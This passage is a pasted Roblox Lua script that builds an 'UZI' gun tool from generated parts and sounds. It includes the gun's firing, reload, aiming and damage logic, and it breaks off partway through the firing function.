Dark_EccentricYT

Untitled

May 4th, 2018
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  1.  
  2. -- made by 1ndrew
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. LocalScript1 = Instance.new("LocalScript")
  21. NumberValue2 = Instance.new("NumberValue")
  22. NumberValue3 = Instance.new("NumberValue")
  23. Smoke4 = Instance.new("Smoke")
  24. Smoke5 = Instance.new("Smoke")
  25. ScreenGui6 = Instance.new("ScreenGui")
  26. Frame7 = Instance.new("Frame")
  27. TextLabel8 = Instance.new("TextLabel")
  28. Frame9 = Instance.new("Frame")
  29. TextLabel10 = Instance.new("TextLabel")
  30. Frame11 = Instance.new("Frame")
  31. TextLabel12 = Instance.new("TextLabel")
  32. Part13 = Instance.new("Part")
  33. BlockMesh14 = Instance.new("BlockMesh")
  34. Part15 = Instance.new("Part")
  35. BlockMesh16 = Instance.new("BlockMesh")
  36. Part17 = Instance.new("Part")
  37. BlockMesh18 = Instance.new("BlockMesh")
  38. Part19 = Instance.new("Part")
  39. BlockMesh20 = Instance.new("BlockMesh")
  40. Part21 = Instance.new("Part")
  41. BlockMesh22 = Instance.new("BlockMesh")
  42. Part23 = Instance.new("Part")
  43. BlockMesh24 = Instance.new("BlockMesh")
  44. Part25 = Instance.new("Part")
  45. BlockMesh26 = Instance.new("BlockMesh")
  46. Part27 = Instance.new("Part")
  47. SpecialMesh28 = Instance.new("SpecialMesh")
  48. Smoke29 = Instance.new("Smoke")
  49. Part30 = Instance.new("Part")
  50. BlockMesh31 = Instance.new("BlockMesh")
  51. Sound32 = Instance.new("Sound")
  52. Sound33 = Instance.new("Sound")
  53. Sound34 = Instance.new("Sound")
  54. Sound35 = Instance.new("Sound")
  55. Sound36 = Instance.new("Sound")
  56. Part37 = Instance.new("Part")
  57. Decal38 = Instance.new("Decal")
  58. BlockMesh39 = Instance.new("BlockMesh")
  59. Part40 = Instance.new("Part")
  60. BlockMesh41 = Instance.new("BlockMesh")
  61. Part42 = Instance.new("Part")
  62. BlockMesh43 = Instance.new("BlockMesh")
  63. Part44 = Instance.new("Part")
  64. BlockMesh45 = Instance.new("BlockMesh")
  65. Part46 = Instance.new("Part")
  66. CylinderMesh47 = Instance.new("CylinderMesh")
  67. Part48 = Instance.new("Part")
  68. BlockMesh49 = Instance.new("BlockMesh")
  69. Part50 = Instance.new("Part")
  70. BlockMesh51 = Instance.new("BlockMesh")
  71. Part52 = Instance.new("Part")
  72. BlockMesh53 = Instance.new("BlockMesh")
  73. Part54 = Instance.new("Part")
  74. CylinderMesh55 = Instance.new("CylinderMesh")
  75. Part56 = Instance.new("Part")
  76. BlockMesh57 = Instance.new("BlockMesh")
  77. Part58 = Instance.new("Part")
  78. SpecialMesh59 = Instance.new("SpecialMesh")
  79. Part60 = Instance.new("Part")
  80. CylinderMesh61 = Instance.new("CylinderMesh")
  81. Part62 = Instance.new("Part")
  82. CylinderMesh63 = Instance.new("CylinderMesh")
  83. Part64 = Instance.new("Part")
  84. BlockMesh65 = Instance.new("BlockMesh")
  85. Part66 = Instance.new("Part")
  86. BlockMesh67 = Instance.new("BlockMesh")
  87. Part68 = Instance.new("Part")
  88. BlockMesh69 = Instance.new("BlockMesh")
  89. Part70 = Instance.new("Part")
  90. BlockMesh71 = Instance.new("BlockMesh")
  91. Part72 = Instance.new("Part")
  92. SpecialMesh73 = Instance.new("SpecialMesh")
  93. Part74 = Instance.new("Part")
  94. BlockMesh75 = Instance.new("BlockMesh")
  95. Part76 = Instance.new("Part")
  96. BlockMesh77 = Instance.new("BlockMesh")
  97. Part78 = Instance.new("Part")
  98. BlockMesh79 = Instance.new("BlockMesh")
  99. Part80 = Instance.new("Part")
  100. BlockMesh81 = Instance.new("BlockMesh")
  101. Part82 = Instance.new("Part")
  102. BlockMesh83 = Instance.new("BlockMesh")
  103. Part84 = Instance.new("Part")
  104. BlockMesh85 = Instance.new("BlockMesh")
  105. Part86 = Instance.new("Part")
  106. BlockMesh87 = Instance.new("BlockMesh")
  107. Part88 = Instance.new("Part")
  108. CylinderMesh89 = Instance.new("CylinderMesh")
  109. Part90 = Instance.new("Part")
  110. BlockMesh91 = Instance.new("BlockMesh")
  111. Part92 = Instance.new("Part")
  112. BlockMesh93 = Instance.new("BlockMesh")
  113. Part94 = Instance.new("Part")
  114. BlockMesh95 = Instance.new("BlockMesh")
  115. Part96 = Instance.new("Part")
  116. CylinderMesh97 = Instance.new("CylinderMesh")
  117. Part98 = Instance.new("Part")
  118. BlockMesh99 = Instance.new("BlockMesh")
  119. Part100 = Instance.new("Part")
  120. CylinderMesh101 = Instance.new("CylinderMesh")
  121. Part102 = Instance.new("Part")
  122. BlockMesh103 = Instance.new("BlockMesh")
  123. Part104 = Instance.new("Part")
  124. BlockMesh105 = Instance.new("BlockMesh")
  125. Part106 = Instance.new("Part")
  126. BlockMesh107 = Instance.new("BlockMesh")
  127. Part108 = Instance.new("Part")
  128. CylinderMesh109 = Instance.new("CylinderMesh")
  129. Part110 = Instance.new("Part")
  130. BlockMesh111 = Instance.new("BlockMesh")
  131. Part112 = Instance.new("Part")
  132. SpecialMesh113 = Instance.new("SpecialMesh")
  133. Part114 = Instance.new("Part")
  134. BlockMesh115 = Instance.new("BlockMesh")
  135. Part116 = Instance.new("Part")
  136. BlockMesh117 = Instance.new("BlockMesh")
  137. Part118 = Instance.new("Part")
  138. CylinderMesh119 = Instance.new("CylinderMesh")
  139. Part120 = Instance.new("Part")
  140. CylinderMesh121 = Instance.new("CylinderMesh")
  141. Part122 = Instance.new("Part")
  142. BlockMesh123 = Instance.new("BlockMesh")
  143. Part124 = Instance.new("Part")
  144. BlockMesh125 = Instance.new("BlockMesh")
  145. Part126 = Instance.new("Part")
  146. SpecialMesh127 = Instance.new("SpecialMesh")
  147. Part128 = Instance.new("Part")
  148. BlockMesh129 = Instance.new("BlockMesh")
  149. Part130 = Instance.new("Part")
  150. BlockMesh131 = Instance.new("BlockMesh")
  151. Part132 = Instance.new("Part")
  152. SpecialMesh133 = Instance.new("SpecialMesh")
  153. Part134 = Instance.new("Part")
  154. SpecialMesh135 = Instance.new("SpecialMesh")
  155. Part136 = Instance.new("Part")
  156. SpecialMesh137 = Instance.new("SpecialMesh")
  157. Part138 = Instance.new("Part")
  158. CylinderMesh139 = Instance.new("CylinderMesh")
  159. Part140 = Instance.new("Part")
  160. SpecialMesh141 = Instance.new("SpecialMesh")
  161. Part142 = Instance.new("Part")
  162. SpecialMesh143 = Instance.new("SpecialMesh")
  163. Part144 = Instance.new("Part")
  164. BlockMesh145 = Instance.new("BlockMesh")
  165. Part146 = Instance.new("Part")
  166. SpecialMesh147 = Instance.new("SpecialMesh")
  167. Part148 = Instance.new("Part")
  168. BlockMesh149 = Instance.new("BlockMesh")
  169. Part150 = Instance.new("Part")
  170. SpecialMesh151 = Instance.new("SpecialMesh")
  171. Part152 = Instance.new("Part")
  172. BlockMesh153 = Instance.new("BlockMesh")
  173. Part154 = Instance.new("Part")
  174. SpecialMesh155 = Instance.new("SpecialMesh")
  175. Part156 = Instance.new("Part")
  176. BlockMesh157 = Instance.new("BlockMesh")
  177. Part158 = Instance.new("Part")
  178. BlockMesh159 = Instance.new("BlockMesh")
  179. Part160 = Instance.new("Part")
  180. CylinderMesh161 = Instance.new("CylinderMesh")
  181. Part162 = Instance.new("Part")
  182. BlockMesh163 = Instance.new("BlockMesh")
  183. Part164 = Instance.new("Part")
  184. SpecialMesh165 = Instance.new("SpecialMesh")
  185. Part166 = Instance.new("Part")
  186. CylinderMesh167 = Instance.new("CylinderMesh")
  187. Part168 = Instance.new("Part")
  188. BlockMesh169 = Instance.new("BlockMesh")
  189. Part170 = Instance.new("Part")
  190. SpecialMesh171 = Instance.new("SpecialMesh")
  191. Part172 = Instance.new("Part")
  192. CylinderMesh173 = Instance.new("CylinderMesh")
  193. Part174 = Instance.new("Part")
  194. BlockMesh175 = Instance.new("BlockMesh")
  195. Part176 = Instance.new("Part")
  196. CylinderMesh177 = Instance.new("CylinderMesh")
  197. Part178 = Instance.new("Part")
  198. BlockMesh179 = Instance.new("BlockMesh")
  199. Part180 = Instance.new("Part")
  200. CylinderMesh181 = Instance.new("CylinderMesh")
  201. Part182 = Instance.new("Part")
  202. BlockMesh183 = Instance.new("BlockMesh")
  203. Part184 = Instance.new("Part")
  204. CylinderMesh185 = Instance.new("CylinderMesh")
  205. Part186 = Instance.new("Part")
  206. BlockMesh187 = Instance.new("BlockMesh")
  207. Part188 = Instance.new("Part")
  208. BlockMesh189 = Instance.new("BlockMesh")
  209. Part190 = Instance.new("Part")
  210. SpecialMesh191 = Instance.new("SpecialMesh")
  211. Part192 = Instance.new("Part")
  212. SpecialMesh193 = Instance.new("SpecialMesh")
  213. Part194 = Instance.new("Part")
  214. BlockMesh195 = Instance.new("BlockMesh")
  215. Part196 = Instance.new("Part")
  216. CylinderMesh197 = Instance.new("CylinderMesh")
  217. Part198 = Instance.new("Part")
  218. CylinderMesh199 = Instance.new("CylinderMesh")
  219. ManualWeld200 = Instance.new("ManualWeld")
  220. Part201 = Instance.new("Part")
  221. BlockMesh202 = Instance.new("BlockMesh")
  222. Part203 = Instance.new("Part")
  223. BlockMesh204 = Instance.new("BlockMesh")
  224. Part205 = Instance.new("Part")
  225. CylinderMesh206 = Instance.new("CylinderMesh")
  226. Part207 = Instance.new("Part")
  227. CylinderMesh208 = Instance.new("CylinderMesh")
  228. ManualWeld209 = Instance.new("ManualWeld")
  229. Part210 = Instance.new("Part")
  230. CylinderMesh211 = Instance.new("CylinderMesh")
  231. Part212 = Instance.new("Part")
  232. BlockMesh213 = Instance.new("BlockMesh")
  233. ManualWeld214 = Instance.new("ManualWeld")
  234. Part215 = Instance.new("Part")
  235. SpecialMesh216 = Instance.new("SpecialMesh")
  236. Part217 = Instance.new("Part")
  237. CylinderMesh218 = Instance.new("CylinderMesh")
  238. Part219 = Instance.new("Part")
  239. BlockMesh220 = Instance.new("BlockMesh")
  240. Part221 = Instance.new("Part")
  241. SpecialMesh222 = Instance.new("SpecialMesh")
  242. Part223 = Instance.new("Part")
  243. BlockMesh224 = Instance.new("BlockMesh")
  244. Part225 = Instance.new("Part")
  245. CylinderMesh226 = Instance.new("CylinderMesh")
  246. ManualWeld227 = Instance.new("ManualWeld")
  247. Part228 = Instance.new("Part")
  248. SpecialMesh229 = Instance.new("SpecialMesh")
  249. Part230 = Instance.new("Part")
  250. BlockMesh231 = Instance.new("BlockMesh")
  251. Part232 = Instance.new("Part")
  252. SpecialMesh233 = Instance.new("SpecialMesh")
  253. Part234 = Instance.new("Part")
  254. CylinderMesh235 = Instance.new("CylinderMesh")
  255. Part236 = Instance.new("Part")
  256. BlockMesh237 = Instance.new("BlockMesh")
  257. ManualWeld238 = Instance.new("ManualWeld")
  258. Part239 = Instance.new("Part")
  259. BlockMesh240 = Instance.new("BlockMesh")
  260. Part241 = Instance.new("Part")
  261. BlockMesh242 = Instance.new("BlockMesh")
  262. Part243 = Instance.new("Part")
  263. BlockMesh244 = Instance.new("BlockMesh")
  264. Part245 = Instance.new("Part")
  265. SpecialMesh246 = Instance.new("SpecialMesh")
  266. Part247 = Instance.new("Part")
  267. SpecialMesh248 = Instance.new("SpecialMesh")
  268. Part249 = Instance.new("Part")
  269. CylinderMesh250 = Instance.new("CylinderMesh")
  270. Part251 = Instance.new("Part")
  271. BlockMesh252 = Instance.new("BlockMesh")
  272. Part253 = Instance.new("Part")
  273. BlockMesh254 = Instance.new("BlockMesh")
  274. Part255 = Instance.new("Part")
  275. CylinderMesh256 = Instance.new("CylinderMesh")
  276. ManualWeld257 = Instance.new("ManualWeld")
  277. Part258 = Instance.new("Part")
  278. SpecialMesh259 = Instance.new("SpecialMesh")
  279. Part260 = Instance.new("Part")
  280. BlockMesh261 = Instance.new("BlockMesh")
  281. Part262 = Instance.new("Part")
  282. SpecialMesh263 = Instance.new("SpecialMesh")
  283. Part264 = Instance.new("Part")
  284. BlockMesh265 = Instance.new("BlockMesh")
  285. Part266 = Instance.new("Part")
  286. BlockMesh267 = Instance.new("BlockMesh")
  287. Part268 = Instance.new("Part")
  288. CylinderMesh269 = Instance.new("CylinderMesh")
  289. Part270 = Instance.new("Part")
  290. BlockMesh271 = Instance.new("BlockMesh")
  291. Part272 = Instance.new("Part")
  292. SpecialMesh273 = Instance.new("SpecialMesh")
  293. Part274 = Instance.new("Part")
  294. SpecialMesh275 = Instance.new("SpecialMesh")
  295. Part276 = Instance.new("Part")
  296. SpecialMesh277 = Instance.new("SpecialMesh")
  297. Part278 = Instance.new("Part")
  298. CylinderMesh279 = Instance.new("CylinderMesh")
  299. Part280 = Instance.new("Part")
  300. SpecialMesh281 = Instance.new("SpecialMesh")
  301. Part282 = Instance.new("Part")
  302. SpecialMesh283 = Instance.new("SpecialMesh")
  303. Part284 = Instance.new("Part")
  304. BlockMesh285 = Instance.new("BlockMesh")
  305. Part286 = Instance.new("Part")
  306. BlockMesh287 = Instance.new("BlockMesh")
  307. Part288 = Instance.new("Part")
  308. BlockMesh289 = Instance.new("BlockMesh")
  309. Part290 = Instance.new("Part")
  310. BlockMesh291 = Instance.new("BlockMesh")
  311. Part292 = Instance.new("Part")
  312. BlockMesh293 = Instance.new("BlockMesh")
  313. Part294 = Instance.new("Part")
  314. CylinderMesh295 = Instance.new("CylinderMesh")
  315. Part296 = Instance.new("Part")
  316. BlockMesh297 = Instance.new("BlockMesh")
  317. Part298 = Instance.new("Part")
  318. SpecialMesh299 = Instance.new("SpecialMesh")
  319. Part300 = Instance.new("Part")
  320. SpecialMesh301 = Instance.new("SpecialMesh")
  321. Part302 = Instance.new("Part")
  322. BlockMesh303 = Instance.new("BlockMesh")
  323. ManualWeld304 = Instance.new("ManualWeld")
  324. Part305 = Instance.new("Part")
  325. SpecialMesh306 = Instance.new("SpecialMesh")
  326. Part307 = Instance.new("Part")
  327. CylinderMesh308 = Instance.new("CylinderMesh")
  328. ManualWeld309 = Instance.new("ManualWeld")
  329. Part310 = Instance.new("Part")
  330. SpecialMesh311 = Instance.new("SpecialMesh")
  331. Part312 = Instance.new("Part")
  332. BlockMesh313 = Instance.new("BlockMesh")
  333. Part314 = Instance.new("Part")
  334. CylinderMesh315 = Instance.new("CylinderMesh")
  335. Part316 = Instance.new("Part")
  336. SpecialMesh317 = Instance.new("SpecialMesh")
  337. Part318 = Instance.new("Part")
  338. BlockMesh319 = Instance.new("BlockMesh")
  339. Part320 = Instance.new("Part")
  340. SpecialMesh321 = Instance.new("SpecialMesh")
  341. Part322 = Instance.new("Part")
  342. BlockMesh323 = Instance.new("BlockMesh")
  343. Part324 = Instance.new("Part")
  344. BlockMesh325 = Instance.new("BlockMesh")
  345. Part326 = Instance.new("Part")
  346. BlockMesh327 = Instance.new("BlockMesh")
  347. Part328 = Instance.new("Part")
  348. BlockMesh329 = Instance.new("BlockMesh")
  349. Part330 = Instance.new("Part")
  350. CylinderMesh331 = Instance.new("CylinderMesh")
  351. Part332 = Instance.new("Part")
  352. CylinderMesh333 = Instance.new("CylinderMesh")
  353. Part334 = Instance.new("Part")
  354. BlockMesh335 = Instance.new("BlockMesh")
  355. Part336 = Instance.new("Part")
  356. BlockMesh337 = Instance.new("BlockMesh")
  357. Part338 = Instance.new("Part")
  358. CylinderMesh339 = Instance.new("CylinderMesh")
  359. Part340 = Instance.new("Part")
  360. CylinderMesh341 = Instance.new("CylinderMesh")
  361. ManualWeld342 = Instance.new("ManualWeld")
  362. Part343 = Instance.new("Part")
  363. SpecialMesh344 = Instance.new("SpecialMesh")
  364. Part345 = Instance.new("Part")
  365. CylinderMesh346 = Instance.new("CylinderMesh")
  366. Part347 = Instance.new("Part")
  367. BlockMesh348 = Instance.new("BlockMesh")
  368. Part349 = Instance.new("Part")
  369. BlockMesh350 = Instance.new("BlockMesh")
  370. Part351 = Instance.new("Part")
  371. BlockMesh352 = Instance.new("BlockMesh")
  372. Part353 = Instance.new("Part")
  373. BlockMesh354 = Instance.new("BlockMesh")
  374. Part355 = Instance.new("Part")
  375. BlockMesh356 = Instance.new("BlockMesh")
  376. Part357 = Instance.new("Part")
  377. BlockMesh358 = Instance.new("BlockMesh")
  378. Part359 = Instance.new("Part")
  379. CylinderMesh360 = Instance.new("CylinderMesh")
  380. Part361 = Instance.new("Part")
  381. BlockMesh362 = Instance.new("BlockMesh")
  382. Part363 = Instance.new("Part")
  383. SpecialMesh364 = Instance.new("SpecialMesh")
  384. Part365 = Instance.new("Part")
  385. BlockMesh366 = Instance.new("BlockMesh")
  386. Part367 = Instance.new("Part")
  387. CylinderMesh368 = Instance.new("CylinderMesh")
  388. Part369 = Instance.new("Part")
  389. BlockMesh370 = Instance.new("BlockMesh")
  390. Part371 = Instance.new("Part")
  391. BlockMesh372 = Instance.new("BlockMesh")
  392. Part373 = Instance.new("Part")
  393. BlockMesh374 = Instance.new("BlockMesh")
  394. Part375 = Instance.new("Part")
  395. SpecialMesh376 = Instance.new("SpecialMesh")
  396. Part377 = Instance.new("Part")
  397. BlockMesh378 = Instance.new("BlockMesh")
  398. Part379 = Instance.new("Part")
  399. BlockMesh380 = Instance.new("BlockMesh")
  400. Part381 = Instance.new("Part")
  401. CylinderMesh382 = Instance.new("CylinderMesh")
  402. Part383 = Instance.new("Part")
  403. BlockMesh384 = Instance.new("BlockMesh")
  404. Part385 = Instance.new("Part")
  405. SpecialMesh386 = Instance.new("SpecialMesh")
  406. Part387 = Instance.new("Part")
  407. SpecialMesh388 = Instance.new("SpecialMesh")
  408. Part389 = Instance.new("Part")
  409. BlockMesh390 = Instance.new("BlockMesh")
  410. Part391 = Instance.new("Part")
  411. Decal392 = Instance.new("Decal")
  412. BlockMesh393 = Instance.new("BlockMesh")
  413. Part394 = Instance.new("Part")
  414. CylinderMesh395 = Instance.new("CylinderMesh")
  415. Part396 = Instance.new("Part")
  416. CylinderMesh397 = Instance.new("CylinderMesh")
  417. Part398 = Instance.new("Part")
  418. CylinderMesh399 = Instance.new("CylinderMesh")
  419. Part400 = Instance.new("Part")
  420. BlockMesh401 = Instance.new("BlockMesh")
  421. ManualWeld402 = Instance.new("ManualWeld")
  422. Part403 = Instance.new("Part")
  423. BlockMesh404 = Instance.new("BlockMesh")
  424. ManualWeld405 = Instance.new("ManualWeld")
  425. Part406 = Instance.new("Part")
  426. BlockMesh407 = Instance.new("BlockMesh")
  427. Part408 = Instance.new("Part")
  428. BlockMesh409 = Instance.new("BlockMesh")
  429. Part410 = Instance.new("Part")
  430. CylinderMesh411 = Instance.new("CylinderMesh")
  431. Part412 = Instance.new("Part")
  432. BlockMesh413 = Instance.new("BlockMesh")
  433. Part414 = Instance.new("Part")
  434. BlockMesh415 = Instance.new("BlockMesh")
  435. Part416 = Instance.new("Part")
  436. SpecialMesh417 = Instance.new("SpecialMesh")
  437. Part418 = Instance.new("Part")
  438. CylinderMesh419 = Instance.new("CylinderMesh")
  439. Part420 = Instance.new("Part")
  440. BlockMesh421 = Instance.new("BlockMesh")
  441. Part422 = Instance.new("Part")
  442. BlockMesh423 = Instance.new("BlockMesh")
  443. Part424 = Instance.new("Part")
  444. CylinderMesh425 = Instance.new("CylinderMesh")
  445. Part426 = Instance.new("Part")
  446. BlockMesh427 = Instance.new("BlockMesh")
  447. Part428 = Instance.new("Part")
  448. SpecialMesh429 = Instance.new("SpecialMesh")
  449. Part430 = Instance.new("Part")
  450. CylinderMesh431 = Instance.new("CylinderMesh")
  451. Part432 = Instance.new("Part")
  452. BlockMesh433 = Instance.new("BlockMesh")
  453. Part434 = Instance.new("Part")
  454. BlockMesh435 = Instance.new("BlockMesh")
  455. Part436 = Instance.new("Part")
  456. CylinderMesh437 = Instance.new("CylinderMesh")
  457. Part438 = Instance.new("Part")
  458. CylinderMesh439 = Instance.new("CylinderMesh")
  459. Part440 = Instance.new("Part")
  460. BlockMesh441 = Instance.new("BlockMesh")
  461. Part442 = Instance.new("Part")
  462. BlockMesh443 = Instance.new("BlockMesh")
  463. Part444 = Instance.new("Part")
  464. CylinderMesh445 = Instance.new("CylinderMesh")
  465. Part446 = Instance.new("Part")
  466. CylinderMesh447 = Instance.new("CylinderMesh")
  467. Part448 = Instance.new("Part")
  468. SpecialMesh449 = Instance.new("SpecialMesh")
  469. Part450 = Instance.new("Part")
  470. BlockMesh451 = Instance.new("BlockMesh")
  471. ManualWeld452 = Instance.new("ManualWeld")
  472. Part453 = Instance.new("Part")
  473. CylinderMesh454 = Instance.new("CylinderMesh")
  474. Part455 = Instance.new("Part")
  475. CylinderMesh456 = Instance.new("CylinderMesh")
  476. Part457 = Instance.new("Part")
  477. BlockMesh458 = Instance.new("BlockMesh")
  478. Part459 = Instance.new("Part")
  479. BlockMesh460 = Instance.new("BlockMesh")
  480. Part461 = Instance.new("Part")
  481. CylinderMesh462 = Instance.new("CylinderMesh")
  482. Part463 = Instance.new("Part")
  483. BlockMesh464 = Instance.new("BlockMesh")
  484. Part465 = Instance.new("Part")
  485. SpecialMesh466 = Instance.new("SpecialMesh")
  486. Part467 = Instance.new("Part")
  487. BlockMesh468 = Instance.new("BlockMesh")
  488. Part469 = Instance.new("Part")
  489. BlockMesh470 = Instance.new("BlockMesh")
  490. Part471 = Instance.new("Part")
  491. SpecialMesh472 = Instance.new("SpecialMesh")
  492. Part473 = Instance.new("Part")
  493. SpecialMesh474 = Instance.new("SpecialMesh")
  494. Part475 = Instance.new("Part")
  495. SpecialMesh476 = Instance.new("SpecialMesh")
  496. Part477 = Instance.new("Part")
  497. BlockMesh478 = Instance.new("BlockMesh")
  498. Part479 = Instance.new("Part")
  499. BlockMesh480 = Instance.new("BlockMesh")
  500. Part481 = Instance.new("Part")
  501. CylinderMesh482 = Instance.new("CylinderMesh")
  502. Part483 = Instance.new("Part")
  503. CylinderMesh484 = Instance.new("CylinderMesh")
  504. Part485 = Instance.new("Part")
  505. CylinderMesh486 = Instance.new("CylinderMesh")
  506. Part487 = Instance.new("Part")
  507. BlockMesh488 = Instance.new("BlockMesh")
  508. Part489 = Instance.new("Part")
  509. BlockMesh490 = Instance.new("BlockMesh")
  510. Part491 = Instance.new("Part")
  511. BlockMesh492 = Instance.new("BlockMesh")
  512. Part493 = Instance.new("Part")
  513. BlockMesh494 = Instance.new("BlockMesh")
  514. ManualWeld495 = Instance.new("ManualWeld")
  515. Part496 = Instance.new("Part")
  516. BlockMesh497 = Instance.new("BlockMesh")
  517. Part498 = Instance.new("Part")
  518. BlockMesh499 = Instance.new("BlockMesh")
  519. Part500 = Instance.new("Part")
  520. SpecialMesh501 = Instance.new("SpecialMesh")
  521. Part502 = Instance.new("Part")
  522. CylinderMesh503 = Instance.new("CylinderMesh")
  523. Part504 = Instance.new("Part")
  524. CylinderMesh505 = Instance.new("CylinderMesh")
  525. Part506 = Instance.new("Part")
  526. CylinderMesh507 = Instance.new("CylinderMesh")
  527. Part508 = Instance.new("Part")
  528. BlockMesh509 = Instance.new("BlockMesh")
  529. Part510 = Instance.new("Part")
  530. BlockMesh511 = Instance.new("BlockMesh")
  531. Sound512 = Instance.new("Sound")
  532. Script513 = Instance.new("Script")
  533. Sound514 = Instance.new("Sound")
  534. Script515 = Instance.new("Script")
  535. Sound516 = Instance.new("Sound")
  536. Script517 = Instance.new("Script")
  537. Sound518 = Instance.new("Sound")
  538. Script519 = Instance.new("Script")
  539. Sound520 = Instance.new("Sound")
  540. Script521 = Instance.new("Script")
  541. Script522 = Instance.new("Script")
  542. Tool0.Name = "UZI"
  543. Tool0.Parent = mas
  544. LocalScript1.Name = "Gun_Script"
  545. LocalScript1.Parent = Tool0
  546. table.insert(cors,sandbox(LocalScript1,function()
  547. wait(0.5)
  548. --Edit settings below--
  549. local Tool = script.Parent
  550. local Settings = {
  551. Range = 600
  552. ,Spread = 20
  553. ,Damage = {20,40}
  554. ,HeadShotDamage = {100,100}
  555. ,Bullets = 1
  556. ,FireRate = 0.07
  557. ,Automatic = true
  558. ,AntiTK = true
  559. ,ImpactDuration = 3
  560. --Reload
  561. ,ReloadKey = "R"
  562. ,ReloadTime = 2
  563. ,Ammo = 32
  564. ,IncludeChamberedBullet = true
  565. --Gui
  566. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  567. --Arms
  568. ,OneHanded = true
  569. ,FakeArms = true
  570. ,FakeArmTransparency = 0.5
  571. ,RightPos = CFrame.new(-0.75, 0.5, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  572. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  573. ,AimPart = Tool.AimPart
  574. ,AimPartOffset = CFrame.new()
  575. ,AimGripOffset = Vector3.new(0, 0, 0)
  576. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  577. ,AimAnim = {
  578. Enabled = false
  579. ,Frames = 50
  580. ,Time = 0.1
  581. }
  582. ,ChangeFOV = {true, 65}
  583. ,SpreadReduction = 5
  584. --Weld
  585. ,Weld = true
  586. --Mouse
  587. ,Icons = {
  588. Idle = "rbxassetid://70288585"
  589. ,Fire1 = "rbxassetid://70288578"
  590. ,Fire2 = "rbxassetid://70288572"
  591. ,Fire3 = "rbxassetid://70288578"
  592. ,Reload = "rbxassetid://70288599"
  593. ,Aim = "rbxasset://textures/Blank.png"
  594. }
  595. ,FireMouseAnimTime = 0.15
  596. --Recoil
  597. ,Recoil = math.rad(2)
  598. --Smoke
  599. ,Smoke = true
  600. ,SmokePart = Tool.SmokePart
  601. ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}}
  602. --Sprint
  603. ,Sprint = true
  604. ,SprintSpeed = 25
  605. ,SprintKey = "0"
  606. ,SprintSpreadIncrease = 40
  607. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  608. --Other
  609. ,DropHats = true
  610. }
  611.  
  612. --Do not edit below this lign--
  613.  
  614. local Orig_Spread = Settings.Spread
  615. local Orig_Grip = Tool.GripPos
  616.  
  617. local Player = game.Players.LocalPlayer
  618. local Character = Player.Character
  619.  
  620. local Camera = Workspace.CurrentCamera
  621.  
  622. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  623.  
  624. local Gui, CanUpdateGui = nil, true
  625.  
  626. local Sprinting, Equipped
  627.  
  628. function Update_Gui()
  629. if Gui and CanUpdateGui then
  630. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  631. end
  632. end
  633.  
  634. local Welded
  635. if Settings.Weld then
  636. Delay(0, function()
  637. local weldC0s = {}
  638. for i, v in pairs(Tool:GetChildren()) do
  639. if v:IsA("BasePart") and v ~= Tool.Handle then
  640. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  641. v.Anchored = false
  642. end
  643. end
  644. Tool.Handle.Anchored = false
  645. local welds = {}
  646. Tool.Equipped:connect(function()
  647. for i, v in ipairs(welds) do
  648. v.Part1 = nil
  649. v:Destroy()
  650. end
  651. for i, v in ipairs(weldC0s) do
  652. if v[1] and v[2] then
  653. local w = Instance.new("Weld", Tool.Handle)
  654. w.Part0 = Tool.Handle
  655. w.Part1 = v[1]
  656. w.C0 = v[2]
  657. table.insert(welds, w)
  658. end
  659. end
  660. end)
  661. wait()
  662. Welded = true
  663. end)
  664. end
  665.  
  666. local Left_Weld, Right_Weld
  667.  
  668. Ammo.Changed:connect(Update_Gui)
  669. StoredAmmo.Changed:connect(Update_Gui)
  670.  
  671. Settings.Range = math.min(Settings.Range, 999)
  672.  
  673. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  674. Ignore_Model.Name = "Ray_Ignore"
  675.  
  676. local Ray_Ignore = {Character, Ignore_Model, Camera}
  677.  
  678. Character.Humanoid.Died:connect(function()
  679. Tool.Parent = Player.Backpack
  680. end)
  681.  
  682. function Fire(Mouse)
  683. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  684. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  685. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  686. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  687. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  688. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  689. return
  690. end
  691. local Humanoid = Hit.Parent.Humanoid
  692. local c = Instance.new("ObjectValue")
  693. c.Name = "creator"
  694. c.Value = Player
  695. game.Debris:AddItem(c, 3)
  696. c.Parent = Humanoid
  697. if Hit.Name == "Head" then
  698. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  699. else
  700. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  701. end
  702. elseif Hit then
  703. local Hit_Part = Instance.new("Part", Ignore_Model)
  704. Hit_Part.FormFactor = "Custom"
  705. Hit_Part.TopSurface = 0
  706. Hit_Part.BottomSurface = 0
  707. Hit_Part.Anchored = true
  708. Hit_Part.CanCollide = false
